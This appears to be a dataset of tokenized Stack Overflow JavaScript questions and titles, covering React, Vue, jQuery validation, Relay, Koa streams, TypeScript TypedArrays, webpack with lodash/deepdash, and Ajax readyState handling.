elements/reducer.jsMaybe something in there is causing the count to double ? componentWillMount ( ) { this.props.dispatch ( requestSkySetup ( ) ) ; this.props.dispatch ( requestAllElements ( ) ) ; this.setState ( { loadedSky : true , loadedElements : true } ) ; } return connectDropTarget ( < div className= { showOutline ? 'slot showOutline ' : 'slot ' } style= { style } onClick= { interactable ? this.handleClick : null } > { elements .map ( e = > ( < SkyElement id= { e.id } key= { ` element-id- $ { e.id } ` } title= { e.title } size= { 150 } opacity= { e.opacity } glow= { e.glow } color= { e.color } sectorId= { e.sectorId } slotId= { e.id } dispatch= { this.props.dispatch } isDragging= { false } transformElement= { false } / > ) ) } < /div > ) ; const mapStateToProps = ( { elements } , ownProps ) = > { return { elements : getElementsBySlotId ( elements , ownProps.id ) , } ; } ; const mapStateToProps = ( { sky , elements } ) = > { return { sectors : getSky ( sky ) .sectors , elements : getElementsByKeyName ( elements , 'visibleElements ' ) , unplacedElements : getElementsByKeyName ( elements , 'unplacedElements ' ) , } ; } ; case 'receiveAllElements ' : const visibleElements = { } ; const unplacedElements = { } ; const elements = action.elements.reduce ( ( result , index ) = > { result [ ` $ { index.id } ` ] = index ; return result ; } , { } ) ; const keys = Object.keys ( elements ) ; for ( const key of keys ) { const e = elements [ key ] ; if ( e.sectorId === null ) { unplacedElements [ key ] = e ; } else { visibleElements [ key ] = e ; } } const visibleIds = Object.keys ( visibleElements ) ; const unplacedIds = Object.keys ( unplacedElements ) ; console.log ( visibleIds ) ; console.log ( unplacedIds ) ; // logging these , the numbers are consistent and do n't double , triple etc with each load return { ... state , elementsMap : { ... state.elementsMap , ... elements , } , visibleElements : [ ... state.visibleElements , ... visibleIds ] , unplacedElements : [ ... state.unplacedElements , ... unplacedIds ] , } ;",Warning : flattenChildren ( ... ) : Encountered two children with the same key / Child keys must be unique "JS : I hava a remote validator setup like soIf bypass is `` yes '' , the ajax always returns true.It works on blur and on submit , but if I reset the radio button values then submit , it does n't revalidate.For example , Set toggleBypass to `` yes '' Set field to an invalid valueRun $ ( `` form '' ) .validate ( ) .element ( `` # field '' ) . Since bypass is `` yes '' , it passes.Set toggleBypass to `` no '' Run $ ( `` form '' ) .validate ( ) .element ( `` # field '' ) . It passes , because the remote didnt resubmit.Any ideas how I can get it to work properly ? remote : { type : `` POST '' , url : `` /some/url '' , data : { value : function ( ) { return $ ( `` # field '' ) .val ( ) ; } , bypass : function ( ) { if ( $ ( `` input : radio [ name=toggleBypass ] : checked '' ) .val ( ) == `` yes '' ) { return `` yes '' ; } return `` no '' ; } } }",jquery validation : get remote validation running again without changing the value of concerned field "JS : I can use a Map and then set values : Now if I want to apply a function to all values in a functional way ( without for ... of or .forEach ) , I thought I could have done something like this : But there is no map function on a Map . Is there a built-in/elegant way to map a Map ? const a = new Map ( [ [ `` a '' , `` b '' ] , [ `` c '' , `` d '' ] ] ) const b = a.map ( ( [ k , v ] ) = > [ k , doSomethingWith ( v ) ] ) ;",Using a map function on a 'Map ' to change values "JS : UPDATE Since the question was complicating and unclear , I 'm rewriting my question to make it much simpler . Givenimage ( image uri for entire image ; 600x600 image from the example ) left ( x-coordinate ; 50 from the example ) top ( y-coordinate ; 100 from the example ) width ( width of the image ; 300 from the example ) height ( height of the image ; 300 from the example ) what I want300 x 300 image ( which is cropped to the image ) 70 x 70 image ( I will ultimately resized image to 70 x 70 size ) Here is my example codeUPDATE from zvona 's working demo , what I want is this . but nothing else . // render the part of the imageconsole.log ( left ) ; // 50console.log ( thumbSize ) ; // 300return ( < Image source= { { uri : image } } style= { selectedStyle ( left , top , thumbSize ) } / > ) ; ... function selectedStyle ( left , top , thumbSize ) { return { left , top , width : thumbSize , height : thumbSize } ; }",How to show the only part of the image "JS : Just getting off my JavaScript training wheels.Why does Google choose to unescape the document.write line in Part 1 below ? Why do n't they just write it like this ? Maybe unescape is required for some older browser compatibility ? For reference , the entire Google Analytics tracking code looks like this : Part 1 : Part 2 : I understand what the rest of the code does , just curious about the unescape part.EditThe bottom line is , unescape is required . Voted to close this question because it is a duplicate ( see answer marked correct ) . document.write ( ' < script src= '' ' + gaJsHost + 'google-analytics.com/ga.js '' type= '' text/javascript '' > < /script > ' ) ; < script type= '' text/javascript '' > var gaJsHost = ( ( `` https : '' == document.location.protocol ) ? `` https : //ssl . '' : `` http : //www . `` ) ; document.write ( unescape ( `` % 3Cscript src= ' '' + gaJsHost + `` google-analytics.com/ga.js ' type='text/javascript ' % 3E % 3C/script % 3E '' ) ) ; < /script > < script type= '' text/javascript '' > try { var pageTracker = _gat._getTracker ( `` UA-0000000-0 '' ) ; pageTracker._trackPageview ( ) ; } catch ( err ) { } < /script >",Why does Google unescape their Analytics tracking code ? "JS : I 'm trying to pass an attribute into another component . Passing the array as < VideoList videos= { this.props.channel.video_list } > < /VideoList > results in this.props.videos being an empty object : ( GraphQL returns the correct data as confirmed by the React Chrome extension , it 's just not being passed into the VideoList . ) components/video_list.jscomponents/channel_list.jscontainers/channel_list.jscontainers/video_list.jsWhat am I doing wrong ? Am I misunderstanding how Relay works ? I want to be able to set the count relay variable in the VideoList for pagination purposes . The VideoList object is going to be nested within multiple other components ( e.g . channel , most popular , user 's favorites , etc . ) Thank you ! { `` videos '' : { `` __dataID__ '' : `` client:5610611954 '' , `` __fragments__ '' : { `` 2 : :client '' : `` client:5610611954 '' } } } import React from 'react'import Relay from 'react-relay'import VideoItem from '../containers/video_item ' export default class VideoList extends React.Component { render ( ) { return ( < div > { this.props.videos.edges.map ( video = > < VideoItem key= { video.id } video= { video.node } / > ) } < /div > ) } } import React from 'react'import Relay from 'react-relay'import VideoList from './video_list'export default class ChannelView extends React.Component { render ( ) { return ( < div > < Column small= { 24 } > < h2 > { this.props.channel.title } < /h2 > < /Column > < VideoList videos= { this.props.channel.video_list } > < /VideoList > < /div > ) } } import React from 'react'import Relay from 'react-relay'import ChannelView from '../components/channel_view'import VideoList from './video_list'export default Relay.createContainer ( ChannelView , { fragments : { channel : ( ) = > Relay.QL ` fragment on Channel { title video_list { $ { VideoList.getFragment ( 'videos ' ) } } } ` } , } ) ; import React from 'react'import Relay from 'react-relay'import VideoList from '../components/video_list'import VideoItem from './video_item'export default Relay.createContainer ( VideoList , { initialVariables : { count : 28 } , fragments : { videos : ( ) = > Relay.QL ` fragment on Videos { videos ( first : $ count ) { pageInfo { hasPreviousPage hasNextPage } edges { node { $ { VideoItem.getFragment ( 'video ' ) } } } } } ` } , } ) ;",Nested React/Relay component not receiving props "JS : I am trying to get a vue component to announce information dynamically to a screen reader when different events occur on my site.I have it working to where clicking a button will populate a span that is aria-live= '' assertive '' and role= '' alert '' with text . This works decently the first time , however , clicking other buttons with similar behavior causes NVDA to read the previous text twice before reading the new text . This seems to be happening in vue , but not with a similar setup using jquery , so I 'm guessing it has something to do with the way vue renders to the DOM.I 'm hoping there is some way to workaround this problem or perhaps a better way to read the text to the user that would not have this issue . Any help is greatly appreciated.Here is a simple component I set up in a working code sandbox to show the problem I am having ( navigate to components/HelloWorld.vue for the code ) -- Note : This sandbox has changed per the answer below . Full code for the component is below : export default { name : `` HelloWorld '' , data ( ) { return { ariaText : `` '' } ; } , methods : { button1 ( ) { this.ariaText = `` This is a bunch of cool text to read to screen readers . `` ; } , button2 ( ) { this.ariaText = `` This is more cool text to read to screen readers . `` ; } , button3 ( ) { this.ariaText = `` This text is not cool . `` ; } } } ; < template > < div > < button @ click= '' button1 '' > 1 < /button > < button @ click= '' button2 '' > 2 < /button > < button @ click= '' button3 '' > 3 < /button > < br/ > < span role= '' alert '' aria-live= '' assertive '' > { { ariaText } } < /span > < /div > < /template >",Announcing information to a screen reader in vue.js using aria-live "JS : I have a following fragment of code : but this part of code can be called multiple times where someCondition will be true . It means multiple intervals will be created and not all of them will be destroyed . And after a certain time blinking was more frequent than 1 sec so I added clearInterval ( globTimer ) ; instead of the comment . This change solved my problem but is this solution okay ? Is it okay to call clearInterval ( ) more times for the same variable or call it for undefined ? if ( someCondition ) { // clear globTimer first ? ? globTimer = setInterval ( function ( ) { someBlinkingCode ; } , 1000 ) ; } else { clearInterval ( globTimer ) ; }",Is it okay to call clearInterval ( ) before setInterval ( ) ? "JS : Take the asynchronous Node function fs.stat ( ) for an example . If I need to use fs.stat ( ) on a file , then do it again later , the result is shadowed.The err variable , as well as stats variable is shadowed - does this even matter if I wo n't be using the first callback inside the second ? Is it better practice to rename the second callback variables ? Does overwriting these variables , once , or multiple times have any performance impact ? fs.stat ( file , function ( err , stats ) { fs.stat ( file , function ( err , stats ) { } ) ; } ) ;",Is it bad practice to shadow variables of a callback ? "JS : Does anybody works with koa.js and streams ? Consider this exampleIf user aborts request I 'm getting eitherorWhat is the proper way to handle this type of errors ? P.S . I have no errors after request aborts with expressP.P.S . I 've triedBut it had no effect . const fs = require ( 'fs ' ) ; const Koa = require ( 'koa ' ) ; const app = new Koa ( ) ; app.use ( async ( ctx ) = > { ctx.body = fs.createReadStream ( 'really-large-file ' ) ; } ) ; app.listen ( 4000 ) ; Error : read ECONNRESET at _errnoException ( util.js:1024:11 ) at TCP.onread ( net.js:618:25 ) Error : write EPIPE at _errnoException ( util.js:1024:11 ) at WriteWrap.afterWrite [ as oncomplete ] ( net.js:870:14 ) const fs = require ( 'fs ' ) ; const express = require ( 'express ' ) ; const app = express ( ) ; app.get ( '/ ' , ( req , res ) = > { fs.createReadStream ( 'really-large-file ' ) .pipe ( res ) ; } ) ; app.listen ( 4000 ) ; app.use ( async ( ctx ) = > { fs.createReadStream ( 'really-large-file ' ) .pipe ( ctx.res ) ; ctx.respond = false ; } ) ;",Koa.js and streaming . How do you handle errors ? "JS : I am trying to implement a table that is horizontally scrollable ( using React ) , in each row there is a dropdown component . This component is custom and does n't use the < select > tag . I have noticed that at the bottom of the table , when I open the input the options are hidden since the table has overflow-x : scroll . This is n't an issue if I use a < select > tag however I would need to rebuild our custom dropdown and all it 's functionality . A demo is available here : https : //codesandbox.io/embed/frosty-moon-pz0y3You will note that the first column does n't show the options unless you scroll in the table and the second column does show the options as required . My question is how do I allow the first column to overflow while maintaining overflow-x : scroll on the table as a whole.The code is as follows : import React from `` react '' ; import ReactDOM from `` react-dom '' ; import Select from `` react-select '' ; import `` ./styles.css '' ; function App ( ) { const options = [ { value : `` Volvo '' , label : `` Volvo '' } , { value : `` Saab '' , label : `` Saab '' } , { value : `` Merc '' , label : `` Merc '' } , { value : `` BMW '' , label : `` BMW '' } ] ; return ( < div className= '' App '' > < div className= '' table-wrapper '' > < table > < thead > < th > Col1 < /th > < th > Col2 < /th > < th > Col3 < /th > < /thead > < tbody > < tr > < td > < Select options= { options } value= '' Volvo '' className= '' Select '' / > < /td > < td > < select > < option value= '' volvo '' > Volvo < /option > < option value= '' saab '' > Saab < /option > < option value= '' mercedes '' > Mercedes < /option > < option value= '' audi '' > Audi < /option > < /select > < /td > < td > ABCDEF < /td > < /tr > < /tbody > < /table > < /div > < /div > ) ; } const rootElement = document.getElementById ( `` root '' ) ; ReactDOM.render ( < App / > , rootElement ) ; .App { font-family : sans-serif ; text-align : center ; } .table-wrapper { max-width : 120px ; max-height : 60px ; border : 1px solid red ; overflow-x : scroll ; } .Select { min-width : 60px ; }",How can I have visible vertical overflow in a horizontally scrollable table ? "JS : I am trying to write a function that expands / shrinks TypedArray by taking an arbitrary TypedArray as an input and returns a new same-typed TypedArray with a different size and copy original elements into it.For example , when you pass , new Uint32Array ( [ 1,2,3 ] ) with new size of 5 , it will return new Uint32Array ( [ 1,2,3,0,0 ] ) .While the code works as expected , TSC is complaining that 1 ) ArrayType does not have BYTES_PER_ELEMENT and slice , and 2 ) Can not use 'new ' with an expression whose type lacks a call or construct signature for the statement new source.constructor ( ) .Is there a way to specify type interfaces for such function that TSC understands my intention ? For 1 ) , I understand ArrayLike does not have interface defined for TypedArray but individual typed array does not seem to inherit from a common class ... For instance , instead of using generics , I can use const expand = ( source : < Uint32Array|Uint16Array| ... > ) : < Uint32Array|Uint16Array| ... > = > { } . But it loses context of returning type being same type of the source array.And for 2 ) I am clueless on how to tackle this error . It seems reasonable for TSC to complain that source 's constructor is lacking type information . But if I can pass proper type for 1 ) , I presume 2 ) will be disappeared too.ref ) https : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray export const resize = < T > ( source : ArrayLike < T > , newSize : number , ) : ArrayLike < T > = > { if ( ! source.length ) { return new source.constructor ( newSize ) ; } newSize = typeof newSize === `` number '' ? newSize : source.length ; if ( newSize > = source.length ) { const buf = new ArrayBuffer ( newSize * source.BYTES_PER_ELEMENT ) ; const arr = new source.constructor ( buf ) ; arr.set ( source ) ; return arr ; } return source.slice ( 0 , newSize ) ; } ;",TypeScript : Generics type definition for TypedArray "JS : I know that JSLint is only a guide and you should take what it says with a grain of salt , however , I 'm curious how I can even resolve this warning without rewriting the entire function . Here is the function of interest : JS Lint tells me `` JS Lint : Use the array literal notation [ ] . '' and it is pointing to the line with string.split ( ) . How can I satisfy JSLint without having to re-write the entire function ? Is it even possible ? I am aware that there are other methods to generate random strings ; I 'm interested in how to resolve the JSLint warning using this method . function randomString ( length ) { var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'.split ( `` ) , str = `` , i ; if ( ! length ) { length = randomNumber ( chars.length ) ; } for ( i = 0 ; i < length ; i++ ) { str += chars [ randomNumber ( chars.length ) ] ; } return str ; }",JS Lint Array Literal Notation with String Split "JS : I have a html5 application with several viewports . I intend to use HammerJS for providing pinch/zoom gesture on individual viewports . Currently , whenever I pinch in Safari/OSX , the whole window is zoomed in or out , and I want to prevent that . For iOS this works : But it does n't prevent zooming in OSX . Is there any other meta , css3 or javascript that works in Safari/OSX ? < meta name= '' viewport '' content= '' width=device-width , initial-scale=1.0 , maximum-scale=1.0 , minimum-scale=1.0 , user-scalable=no , minimal-ui '' >",Prevent pinch/zoom in Safari for OSX "JS : When attaching an instance of Vue to a HTML element , I can do in two ways . By property reference , el : '' # rooty '' By method call , $ mount ( `` # rooty '' ) I ca n't decide between them . Are they precisely equivalent ? If one is newer or obsolete'ish , which one is recommended ? Is there any other difference and in such case , what would it be ? By property reference.By method call . const app = new Vue ( { store , router , el : `` # rooty '' , ... } ) ; //. $ mount ( `` # rooty '' ) ; const app = new Vue ( { store , router , //el : `` # rooty '' , ... } ) . $ mount ( `` # rooty '' ) ;",Which is the most recommended syntax for attaching Vue object to an element ? "JS : Is there a way for me to progamatically determine if two jQuery selectors have selected the same exact element ? I am trying to loop over a set of divs and skip one of them . What I would like is something like this : var $ rows , $ row , $ row_to_skip ; $ rows = $ ( '.row-class ' ) $ row_to_skip = $ ( ' # skipped_row ' ) $ .each ( $ rows , function ( id , row ) { $ row = $ ( row ) ; if ( ! $ row == $ row_to_skip ) { // Do some stuff here . } ; } ) ;",How to check if two jQuery selectors have selected the same element "JS : I have searched in SO I found so many examples but mine was little different from all.1 ) initially i have a row if the user click save & next button it will say you have 3 fields missing 2 ) if the user click the addmore button and he did not type any value in the text field then he click the save and next button it should still say 3 fields missing 3 ) if the user type any one of the field in the cloned row then he click the save and next button validation should happen with my code first two points are workingbut the problem is if the user click some more rows and he type in any one of the cloned field then if he click safe and next button the required_Field class was applying in all other field but it should apply only to that row : ( If we can able to find the closest element of the field where the user type then i can able to add required_Field class to those element onlyI tried like below With my current code i am getting error.Uncaught TypeError : Can not read property 'length ' of undefinedI tried this also Any suggestion for this questionI tried this new one - > the color red and red border was applying only for that field not for the row : ( Fiddle link for the reference function additionalvalidation ( ) { var myRow = $ ( `` .check '' ) .length ; // $ ( `` .cloned_field '' ) .css ( `` border '' , '' 1px solid green '' ) ; $ ( `` .cloned_field '' ) .change ( function ( ) { var myField = $ ( `` .cloned_field '' ) .val ( ) .length ; if ( myField > = 0 ) { $ ( `` .cloned_field '' ) .addClass ( `` required_Field '' ) ; debugger ; $ ( `` .cloned_field '' ) .prevAll ( 'label ' ) .find ( 'span.required-star ' ) .removeClass ( 'text-error-red ' ) ; //bind_validation ( ) ; } else { $ ( this ) .closest ( `` .cloned_field '' ) .removeClass ( `` errRed '' ) ; $ ( `` .cloned_field '' ) .removeClass ( `` text-error-red '' ) ; } bind_validation ( ) ; return false ; } ) ; } $ ( this ) .closest ( `` .cloned_field '' ) .addClass ( `` required_Field '' ) ; $ ( this ) .closest ( `` .cloned-row1 '' ) .addClass ( `` required_Field '' ) ; $ ( this ) .closest ( `` .cloned_field '' ) .css ( { `` color '' : `` red '' , `` border '' : `` 2px solid red '' } ) ;",How to find the closest element using jquery JS : I am brand new to AngularJS and while doing the Codecademy course I got stuck . I was trying to repeat a directive using the following syntax.I played around a bit and figured out I needed to remove the curly braces.But if I was not using a directive I think I would access the information like this . AngularJS documentation.Could someone explain why I do not need the curly braces to help me better understand AungularJS . Thanks ! < div class= '' card '' ng-repeat= '' app in apps '' > < app-info info= '' { { app } } '' > < /app-info > < /div > < div class= '' card '' ng-repeat= '' app in apps '' > < app-info info= '' app '' > < /app-info > < /div > < div class= '' card '' ng-repeat= '' app in apps '' > { { app } } < /div >,Angular repeat directive syntax "JS : Im using a modal on my WooCommerce single product pages to display additional information for the users , which is only visible at the product detail page . It works also , but the script below is loaded everywhere , so I 'm getting the error message : Uncaught TypeError : Can not set property 'onclick ' of nullWhen someone is clicking somewhere outside of the product detail page . Is it possible to load the script only at the product detail page ? My HTML : Script : < button id= '' myBtn '' class= '' help-link '' > Brauchen Sie Hilfe ? < /button > < div id= '' myModal '' class= '' modal '' > < div class= '' modal-content '' > < span class= '' close '' > < i class= '' nm-font nm-font-close2 '' > < /i > < /span > < h4 > Brauchen Sie Hilfe ? < /h4 > < p > Sollten Sie Fragen zu Produkten haben , oder Hilfe bei der Konfiguration benötigen , steht unser Kundenservice Ihnen gerne zur Verfügung. < /p > < p > Erreichbar von Montag bis Freitag < br > 10:00 - 18:00 < br > Tel . :040/655 646 91 < /p > < /div > < /div > // Modal var modal = document.getElementById ( 'myModal ' ) ; // Get the button that opens the modalvar btn = document.getElementById ( `` myBtn '' ) ; // Get the < span > element that closes the modalvar span = document.getElementsByClassName ( `` close '' ) [ 0 ] ; // When the user clicks the button , open the modal btn.onclick = function ( ) { modal.style.display = `` block '' ; } // When the user clicks on < span > ( x ) , close the modalspan.onclick = function ( ) { modal.style.display = `` none '' ; } // When the user clicks anywhere outside of the modal , close itwindow.onclick = function ( event ) { if ( event.target == modal ) { modal.style.display = `` none '' ; } }",Load a script exclusively on WooCommerce single product pages "JS : I am trying to implement a draggable ( drag & drop ) picture using a script that is included at the header of my html file . I have 3 separated files for this project ; html , css and js . However , when I upload it to my localhost , the draggable function is not working at all meanwhile it is working perfectly on Jsfiddle . This is the html : Here is the css : I also included a few other kinetic animation in the same page as the drag-and-drop function . Could this be the problem ? Please advice . I am very new in this . Thank you in advance . < ! DOCTYPE HTML > < html > < head > < link href= '' index-05.css '' rel= '' stylesheet '' > < script type= '' text/javascript '' src= '' index-05.js '' > < /script > < ! -- dragonfly animation -- > < script src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.10.0/jquery.min.js '' > < /script > < script type= '' text/javascript '' src= '' jquery-ui-1.9.2.custom.min.js '' > < /script > < ! -- < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js '' > < /script > -- > < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jqueryui/1.11.4/jquery-ui.min.js '' > < /script > < ! -- < script type= '' text/javascript '' src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js '' > < /script > -- > < script type= '' text/javascript '' src= '' kinetic-v5.1.0.js '' > < /script > < script type= '' text/javascript '' src= '' tweenmax.min.js '' > < /script > < ! -- draggable -- > < script > $ ( `` .boxtwo '' ) .draggable ( { containment : `` # containment-wrapper '' , scroll : false } ) ; $ ( `` .boxthree '' ) .draggable ( { containment : `` parent '' , scroll : false } ) ; < /script > < /head > < body > < div id= '' container '' > < /div > < div class= '' containment-wrapper '' > < div class= '' boxone '' class= '' draggable ui-widget-content '' > < /div > < div class= '' boxtwo '' class= '' draggable ui-widget-content '' > < /div > < div class= '' boxthree '' > < /div > < /div > < /body > < /html > body { margin:0 ; height : 595px ; } # container { /*background-color : rgb ( 19,163,174 ) ; */ background-image : url ( bg.jpg ) ; background-repeat : no-repeat ; background-size : cover ; width:100 % ; height:595px ; overflow : hidden ; } # container .background { width : 100px ; height : 200px ; } /************************************draggable************************************/.containment-wrapper { background : khaki ; overflow : hidden ; padding : 50px ; } .boxone { width : 100 % ; height : 200px ; background : papayawhip ; border-radius:50px ; margin-bottom : 15px ; } .boxtwo { width : 100px ; height : 100px ; border-radius:12px ; background : darkseagreen ; margin-bottom : 15px ; float : left ; } .boxthree { width : 100px ; height : 100px ; border-radius:50px ; background : lightcoral ; margin-bottom : 15px ; float : left ; }",Draggable is not working "JS : How can I stop ReSharper formatting from turning this : into this : I 've tried various combinations of settings but have not hit upon the right one yet . define ( [ 'Spec ' ] , function ( Spec ) { } ) ; define ( [ 'Spec ' ] , function ( Spec ) { } ) ;",Stop ReSharper from putting JavaScript function parameter onto new line "JS : what I am trying to do is to force some arbitrary JavaScript code to execute `` inside '' a DOM element , e.g . < div > . In other words , is it possible to make a piece of code `` thinking '' that < div > is the root of document hierarchy ( or < body > of a document ) ? Real life example : Let 's say we have a page that allows executing JavaScript code : The code has access to entire document and can modify it , e.g : Will prevent me from writing any stupid code any more ; - ) Is is possible to restrict the area of effect for some piece of JavaScript code ? and how to do it if it is possible ? Best regards.Edit : The code I want to execute might be everything . If Your solution is based on some kind of modification of the given code , please describe how to do it the right way.Edit2 : First of all , I do not know why I get a down-vote.Secondly , the code I will execute is someone else 's arbitrary code , not mine.To make everything clear : What I am really trying to do is to simulate a browser somehow . Get the content of some web page , and insert in into mine . This is relatively easy when we decided to turn off JavaScript and cut out all places where it might appear , but this is something I can not do . For now I want to limit only the DOM modification ( the malicious code ) . I will work on redirects and cookies later , when I have a base idea . < ! DOCTYPE html > < html > < head > < title > Executor < /title > < script type= '' text/javascript '' src= '' jquery.js '' > < /script > < /head > < body > < div > < /div > < input/ > < button onclick= '' $ ( 'div ' ) .html ( eval ( $ ( 'input ' ) .val ( ) ) ) '' > Execute < /button > < /body > < /html > $ ( `` input '' ) .hide ( )",Is it possible to `` sandbox '' arbitrary JavaScript to only operate on one < div > and not the whole document ? "JS : All , I am studying Ajax using the Head First Ajax book . In the first chapter they give some code example which I simplified a bit . I added a bunch of alert to understand what was happening . Here is the code : HTML + Ajax ( index.php ) : Here is the URL that is called by Ajax ( getDetails.php ) : The question : Why does the function displayDetails run twice at readystate 4 ? When I run the above , the code seems to run through the displayDetails ( ) function twice . I first get the displayDetails1 alert signaling I 've entered the function . I then get the alerts related to the readyState not being 4 , then not being 4 again , then being 4 ( Request.readyState is 4 ) . Then the status alert tells me the status is 200 . Up to now , nothing unexpected.After that I get something weird . I get the displayDetails2 alert , then the page is modified according to the function and I get the displayDetails3 alert . I then expect to exit the function . Instead I get again the displayDetails1 , Request.readyState is 4 ( a second time ! ) , Request.status is 200 , displayDetails2 , and displayDetails3 alerts , as if the entire function had run a second time . Why is that ? PS:1 ) After the 2nd round , I then get the getDetails6 alert I expect.2 ) The page functions as it should - from a user 's standpoint there 's nothing unusual if the alerts are disabled.3 ) I am developing locally on WampServer , on a WinXP machine ( I know ... ) .4 ) If I add : to my script the log only registers one readyState is 4 ... RESOLUTIONI have done 3 tests:1 - with the alerts only , I get two readyState is 4 alerts.2 - if I log the alerts , the log only shows one readyState is 4 alert.3 - if I both log and display the alert pop-ups ( using this function ) , I get two readyState is 4 alerts ( and the log shows that ) .My take on this is that it is the alerts themselves that cause a script execution delay and cause the function to effectively run twice . < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Transitional//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < title > Rob 's Rock ' n ' Roll Memorabilia < /title > < link rel= '' stylesheet '' href= '' css/default.css '' / > < script > function createRequest ( ) { try { request = new XMLHttpRequest ( ) ; } catch ( tryMS ) { try { request = new ActiveXObject ( `` Msxml2.XMLHTTP '' ) ; } catch ( otherMS ) { try { request = new ActiveXObject ( `` Microsoft.XMLHTTP '' ) ; } catch ( failed ) { request = null ; } } } return request ; } function getDetails ( img ) { var title = img.title ; alert ( `` getDetails1 '' ) ; request = createRequest ( ) ; alert ( `` getDetails2 '' ) ; if ( request == null ) { alert ( `` Unable to create request '' ) ; return ; } var url= `` getDetails.php ? ImageID= '' + escape ( title ) ; alert ( `` getDetails3 '' ) ; request.open ( `` GET '' , url , true ) ; alert ( `` getDetails4 '' ) ; request.onreadystatechange = displayDetails ; alert ( `` getDetails5 '' ) ; request.send ( null ) ; alert ( `` getDetails6 '' ) ; } function displayDetails ( ) { alert ( `` displayDetails1 '' ) ; if ( request.readyState == 4 ) { alert ( `` Request.readyState is 4 '' ) ; if ( request.status == 200 ) { alert ( `` Request.status is 200 '' ) ; detailDiv = document.getElementById ( `` description '' ) ; alert ( `` displayDetails2 '' ) ; detailDiv.innerHTML = request.responseText ; alert ( `` displayDetails3 '' ) ; } else { alert ( `` Request.status not 200 '' ) ; return ; } } else { alert ( `` Request.readystate not 4 '' ) ; return ; } } < /script > < /head > < body > < div id= '' wrapper '' > < div id= '' thumbnailPane '' > < img src= '' images/SISL_Avatar2.JPG '' title= '' SISL '' id= '' SISL '' onclick= '' getNextImage ( ) '' / > < img src= '' images/itemGuitar.jpg '' width= '' 301 '' height= '' 105 '' alt= '' guitar '' title= '' itemGuitar '' id= '' itemGuitar '' onclick= '' getDetails ( this ) '' / > < img src= '' images/itemShades.jpg '' alt= '' sunglasses '' width= '' 301 '' height= '' 88 '' title= '' itemShades '' id= '' itemShades '' onclick= '' getDetails ( this ) '' / > < img src= '' images/itemCowbell.jpg '' alt= '' cowbell '' width= '' 301 '' height= '' 126 '' title= '' itemCowbell '' id= '' itemCowbell '' onclick= '' getDetails ( this ) '' / > < img src= '' images/itemHat.jpg '' alt= '' hat '' width= '' 300 '' height= '' 152 '' title= '' itemHat '' id= '' itemHat '' onclick= '' getDetails ( this ) '' / > < /div > < div id= '' detailsPane '' > < img src= '' images/blank-detail.jpg '' width= '' 346 '' height= '' 153 '' id= '' itemDetail '' / > < div id= '' description '' > < /div > < /div > < /div > < /body > < /html > < ? php $ details = array ( 'itemGuitar ' = > `` < p > Pete Townshend once played this guitar while his own axe was in the shop having bits of drumkit removed from it. < /p > '' , 'itemShades ' = > `` < p > Yoko Ono 's sunglasses . While perhaps not valued much by Beatles fans , this pair is rumored to have been licked by John Lennon. < /p > '' , 'itemCowbell ' = > `` < p > Remember the famous \ '' more cowbell\ '' skit from Saturday Night Live ? Well , this is the actual cowbell. < /p > '' , 'itemHat ' = > `` < p > Michael Jackson 's hat , as worn in the \ '' Billie Jean\ '' video . Not really rock memorabilia , but it smells better than Slash 's tophat. < /p > '' ) ; if ( isset ( $ _REQUEST [ 'ImageID ' ] ) ) { echo $ details [ $ _REQUEST [ 'ImageID ' ] ] ; } ? > < ? php $ details = array ( 'itemGuitar ' = > `` < p > Pete Townshend once played this guitar while his own axe was in the shop having bits of drumkit removed from it. < /p > '' , 'itemShades ' = > `` < p > Yoko Ono 's sunglasses . While perhaps not valued much by Beatles fans , this pair is rumored to have been licked by John Lennon. < /p > '' , 'itemCowbell ' = > `` < p > Remember the famous \ '' more cowbell\ '' skit from Saturday Night Live ? Well , this is the actual cowbell. < /p > '' , 'itemHat ' = > `` < p > Michael Jackson 's hat , as worn in the \ '' Billie Jean\ '' video . Not really rock memorabilia , but it smells better than Slash 's tophat. < /p > '' ) ; echo $ details [ $ _REQUEST [ 'ImageID ' ] ] ; ? > function alert ( msg ) { console.log ( msg ) ; }",Why does the Ajax function I call in my script run twice in a row when readyState is 4 ? "JS : I am working on a project with laravel that uses ( as it is the default ) webpack to bundle its assets . In there , I do have a dependency on a package that in turn has dependencies to lodash and deepdash.Since deepdash is provided as a mixin for lodash , the usage of it is ( as per the docs ) like this : or , if you want to use ES6 syntax ( at least that is my understanding ) , it would translate to : Having done that , I am trying to use webpack to create a bundle now to be used in the browser . My problem is , that for some reason it appears that webpack replaces the import of lodash with some `` __webpack_require__ '' magic functionality , which leads to lodash not being a function anymore , and the browser says this : To better demonstrate my problem I created a demo github repo with just trying to webpack deepdash and lodash : ArSn/webpack-deepdash Here is the line that the browser complains about : https : //github.com/ArSn/webpack-deepdash/blob/master/dist/main.js # L17219I have played around a lot with adding babel configuration en mass and it felt like my best shot was the plugin babel-plugin-transform-commonjs-es2015-modules . I tried that , the result was still exactly the same.I feel like either I have a deep misunderstanding of the situation or I am missing just one tiny little thing . I can however for the life of me not figure out which one it is and what.Side notes : I know there is also a ES6-Version of deepdash , and apparently when using both of those the webpack mechanics work fine ( as is stated in the response to the github issue I opened over at deepdash for this ) , but the dependency I am using is not using those . Also , I do not really see ( or understand ? ) the point of having a dedicated ES6 version there in the first place.The very same code ( using deepdash this way with lodash ) works just fine when executed on node.js , where it is not bundled with webpack before , obiously . I should mention it is using the require-syntax here though . // load Lodash if you need itconst _ = require ( 'lodash ' ) ; //mixin all the methods into Lodash objectrequire ( 'deepdash ' ) ( _ ) ; import _ from 'lodash ' ; import deepdash from 'deepdash ' ; deepdash ( _ ) ;",How to use webpack and ES6 with dependencies using a CommonJS module ? "JS : I have an HTML page . In that page , I 'm trying to add a WYSIWYG editor . I 've decided to use this one . I have it working in my app . However , I can not seem to get it styled the way I want . I believe the problem is because I 'm using this theme . I 'd really like to be able to have the toolbar floating above the control , to the right of the textbox label . At the same time , I 'd like to keep the paper look instead of the 